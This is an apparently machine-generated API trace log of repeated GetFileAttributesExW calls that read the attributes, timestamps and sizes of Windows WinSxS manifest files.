	[0106.414] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w..ywmdmcesp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9e0f3fdd6dd608a1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w..ywmdmcesp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_9e0f3fdd6dd608a1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983598 | out: lpFileInformation=0x12983598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb41cd97, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfb9c750d, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfb41cd97, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x885)) returned 1
	[0106.414] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w32time-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_09ce9d65c6af2076.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w32time-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_09ce9d65c6af2076.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129835e8 | out: lpFileInformation=0x129835e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe9ca1bf, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfe9ca1bf, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x993)) returned 1
	[0106.415] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-w32time-adm_31bf3856ad364e35_6.1.7600.16385_none_78db2e9a5e2510d1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-w32time-adm_31bf3856ad364e35_6.1.7600.16385_none_78db2e9a5e2510d1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983638 | out: lpFileInformation=0x12983638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47b96b, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7dd8540c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8f4c7c25, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xac1)) returned 1
	[0106.415] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wab-app_31bf3856ad364e35_6.1.7601.17514_none_a0cf62efee3228a3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wab-app_31bf3856ad364e35_6.1.7601.17514_none_a0cf62efee3228a3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983688 | out: lpFileInformation=0x12983688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69482cce, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x69482cce, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6951b24f, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1c7dd)) returned 1
	[0106.415] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wab-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0c4d010cb13d4746.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wab-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0c4d010cb13d4746.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129836d8 | out: lpFileInformation=0x129836d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4c0a12d, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf5273640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf4c0a12d, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x9d7)) returned 1
	[0106.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wab-core_31bf3856ad364e35_6.1.7600.16385_none_b1185f1c637a2a97.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wab-core_31bf3856ad364e35_6.1.7600.16385_none_b1185f1c637a2a97.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983728 | out: lpFileInformation=0x12983728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8110d20b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc7e98b0, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xe801abfd, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x1328)) returned 1
	[0106.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wab_31bf3856ad364e35_6.1.7601.17514_none_04eeb49d73161069.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wab_31bf3856ad364e35_6.1.7601.17514_none_04eeb49d73161069.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983778 | out: lpFileInformation=0x12983778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c0ce6a8, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5c0ce6a8, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5c0f4808, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1051)) returned 1
	[0106.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-waitfor.resources_31bf3856ad364e35_6.1.7600.16385_en-us_89643717192e948e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-waitfor.resources_31bf3856ad364e35_6.1.7600.16385_en-us_89643717192e948e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129837c8 | out: lpFileInformation=0x129837c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0cd1ec5, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf131511f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf0cd1ec5, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x87c)) returned 1
	[0106.416] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-waitfor_31bf3856ad364e35_6.1.7600.16385_none_125aa78894e49f8f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-waitfor_31bf3856ad364e35_6.1.7600.16385_none_125aa78894e49f8f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983818 | out: lpFileInformation=0x12983818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8488ae8c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x10f484e4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xc898eed3, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x97e)) returned 1
	[0106.417] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-was-netfxenvironment_31bf3856ad364e35_6.1.7600.16385_none_2c094f74b2a4e625.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-was-netfxenvironment_31bf3856ad364e35_6.1.7600.16385_none_2c094f74b2a4e625.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983868 | out: lpFileInformation=0x12983868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924fb5d9, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x170d24c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x7baee1c3, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xfec)) returned 1
	[0106.417] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-watchdog_31bf3856ad364e35_6.1.7600.16385_none_bc5dd9e3c32d1858.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-watchdog_31bf3856ad364e35_6.1.7600.16385_none_bc5dd9e3c32d1858.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129838b8 | out: lpFileInformation=0x129838b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eb69922, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7eb69922, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xba7e97cf, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xa35)) returned 1
	[0106.417] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wbiosrvc.resources_31bf3856ad364e35_6.1.7600.16385_en-us_478492ee49cae969.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wbiosrvc.resources_31bf3856ad364e35_6.1.7600.16385_en-us_478492ee49cae969.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983908 | out: lpFileInformation=0x12983908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92b6bb7, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf92b6bb7, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x94a)) returned 1
	[0106.417] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wbiosrvc_31bf3856ad364e35_6.1.7600.16385_none_c79503ead5aed6b0.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wbiosrvc_31bf3856ad364e35_6.1.7600.16385_none_c79503ead5aed6b0.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983958 | out: lpFileInformation=0x12983958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41863aa, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x198cece8, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xa421e91e, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1d26)) returned 1
	[0106.418] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wcfcorecomp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_fcbf4f94532a3c60.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wcfcorecomp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_fcbf4f94532a3c60.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129839a8 | out: lpFileInformation=0x129839a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb469309, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfb9c750d, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfb469309, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x279a)) returned 1
	[0106.418] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wcfcorecomp_31bf3856ad364e35_6.1.7600.16385_none_d5c8d9bd47b70695.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wcfcorecomp_31bf3856ad364e35_6.1.7600.16385_none_d5c8d9bd47b70695.manifest"), fInfoLevelId=0x0, lpFileInformation=0x129839f8 | out: lpFileInformation=0x129839f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x427497d9, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x1484b40, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x661562dc, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x4d1a)) returned 1
	[0106.418] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wcn-config-registrar_31bf3856ad364e35_6.1.7601.17514_none_8b42b93fd88950e6.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wcn-config-registrar_31bf3856ad364e35_6.1.7601.17514_none_8b42b93fd88950e6.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983a48 | out: lpFileInformation=0x12983a48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x811ab24c, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x811ab24c, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x811d13ac, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x79e4)) returned 1
	[0106.419] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wcn-netsh-helper_31bf3856ad364e35_6.1.7600.16385_none_3e0ef24b0d1162d7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wcn-netsh-helper_31bf3856ad364e35_6.1.7600.16385_none_3e0ef24b0d1162d7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983a98 | out: lpFileInformation=0x12983a98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x629ca437, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x18f91e80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x629f0594, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x2335)) returned 1
	[0106.419] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wdc-events_31bf3856ad364e35_6.1.7600.16385_none_2ff40812615f84fb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wdc-events_31bf3856ad364e35_6.1.7600.16385_none_2ff40812615f84fb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983ae8 | out: lpFileInformation=0x12983ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84675b76, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x84675b76, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x4a213eb2, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x20b6)) returned 1
	[0106.419] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wdf-kernellibrary_31bf3856ad364e35_6.1.7600.16385_none_d24809e1379d1f91.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wdf-kernellibrary_31bf3856ad364e35_6.1.7600.16385_none_d24809e1379d1f91.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983b38 | out: lpFileInformation=0x12983b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cdce9d7, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xa7ba890, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xa7a04ca1, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x1f99)) returned 1
	[0106.419] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wdi-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_636e7f4e5d7982ed.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wdi-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_636e7f4e5d7982ed.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983b88 | out: lpFileInformation=0x12983b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6da7f8, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfdf805e2, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfd6da7f8, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x987)) returned 1
	[0106.420] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wdi-adm_31bf3856ad364e35_6.1.7600.16385_none_ceb5d594e10b1c54.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wdi-adm_31bf3856ad364e35_6.1.7600.16385_none_ceb5d594e10b1c54.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983bd8 | out: lpFileInformation=0x12983bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4522dfd, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7dfe7afc, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe4548f5a, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xab1)) returned 1
	[0106.420] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-webdavredir-clientonly_31bf3856ad364e35_6.1.7600.16385_none_333997490f6a110a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-webdavredir-clientonly_31bf3856ad364e35_6.1.7600.16385_none_333997490f6a110a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983c28 | out: lpFileInformation=0x12983c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd869ddc4, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0xd869ddc4, ftLastAccessTime.dwHighDateTime=0x1ca0428, ftLastWriteTime.dwLowDateTime=0x7c72118d, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x25e3)) returned 1
	[0106.420] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-webdavredir-davclient_31bf3856ad364e35_6.1.7601.17514_none_f1f36eae68dec4c5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-webdavredir-davclient_31bf3856ad364e35_6.1.7601.17514_none_f1f36eae68dec4c5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983c78 | out: lpFileInformation=0x12983c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fba66a3, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7fba66a3, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x7fbf2964, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1013)) returned 1
	[0106.420] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-webdavredir-helper_31bf3856ad364e35_6.1.7600.16385_none_9093a4bc181f96f1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-webdavredir-helper_31bf3856ad364e35_6.1.7600.16385_none_9093a4bc181f96f1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983cc8 | out: lpFileInformation=0x12983cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f456aee, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7f456aee, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x8b59b0, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x891)) returned 1
	[0106.421] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-webdavredir-mrxdav_31bf3856ad364e35_6.1.7601.17514_none_72d0eaa6dc5b2edb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-webdavredir-mrxdav_31bf3856ad364e35_6.1.7601.17514_none_72d0eaa6dc5b2edb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983d18 | out: lpFileInformation=0x12983d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812dbd4e, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x812dbd4e, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x81301eae, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x315a)) returned 1
	[0106.421] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-webdavredir-webclient_31bf3856ad364e35_6.1.7601.17514_none_b34bcf2bca512dc2.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-webdavredir-webclient_31bf3856ad364e35_6.1.7601.17514_none_b34bcf2bca512dc2.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983d68 | out: lpFileInformation=0x12983d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d0e7a3, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x80d0e7a3, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x80d5aa64, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x971)) returned 1
	[0106.421] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-webio-etw_31bf3856ad364e35_6.1.7601.17514_none_145b148ab4be8fb0.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-webio-etw_31bf3856ad364e35_6.1.7601.17514_none_145b148ab4be8fb0.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983db8 | out: lpFileInformation=0x12983db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f96b1ff, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7f96b1ff, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x7f99135f, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1ed3e)) returned 1
	[0106.421] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-webio.resources_31bf3856ad364e35_6.1.7601.17514_en-us_5d9f9e554f49baba.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-webio.resources_31bf3856ad364e35_6.1.7601.17514_en-us_5d9f9e554f49baba.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983e08 | out: lpFileInformation=0x12983e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f433b4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf2f433b4, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x83b)) returned 1
	[0106.422] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-webio_31bf3856ad364e35_6.1.7601.17514_none_bb103f8cf552c4bd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-webio_31bf3856ad364e35_6.1.7601.17514_none_bb103f8cf552c4bd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983e58 | out: lpFileInformation=0x12983e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c3d2265, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6c3d2265, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6c41e525, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x9b8)) returned 1
	[0106.422] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-webservices-events_31bf3856ad364e35_6.1.7600.16385_none_f49d1ef8d90c4c73.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-webservices-events_31bf3856ad364e35_6.1.7600.16385_none_f49d1ef8d90c4c73.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983ea8 | out: lpFileInformation=0x12983ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bde37f8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7bde37f8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7c877dd2, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xc471)) returned 1
	[0106.422] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-webservices.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6aac11498ff0f4ac.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-webservices.resources_31bf3856ad364e35_6.1.7600.16385_en-us_6aac11498ff0f4ac.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983ef8 | out: lpFileInformation=0x12983ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d6d65b, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf3d6d65b, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x838)) returned 1
	[0106.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-webservices_31bf3856ad364e35_6.1.7601.17514_none_6ca25da84551ca13.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-webservices_31bf3856ad364e35_6.1.7601.17514_none_6ca25da84551ca13.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983f48 | out: lpFileInformation=0x12983f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f8acb1e, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7f8acb1e, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x7f8f8dde, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xaa8)) returned 1
	[0106.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wfp-unifiedtracing_31bf3856ad364e35_6.1.7600.16385_none_ac7c4475b72f818b.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wfp-unifiedtracing_31bf3856ad364e35_6.1.7600.16385_none_ac7c4475b72f818b.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12983f98 | out: lpFileInformation=0x12983f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7abbd1a6, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x12a666ec, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x7c910346, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xe409)) returned 1
